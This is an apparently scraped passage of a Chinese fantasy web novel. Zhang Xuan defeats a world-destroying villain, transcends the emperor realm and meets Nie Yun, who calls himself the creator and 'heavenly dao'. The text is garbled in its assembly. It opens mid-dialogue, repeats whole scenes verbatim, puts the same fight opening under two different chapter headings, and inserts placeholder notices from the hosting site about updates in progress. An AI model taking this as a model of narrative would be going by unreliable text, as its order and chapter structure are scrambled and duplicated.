虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第14章 结盟 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第15章 生辰 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 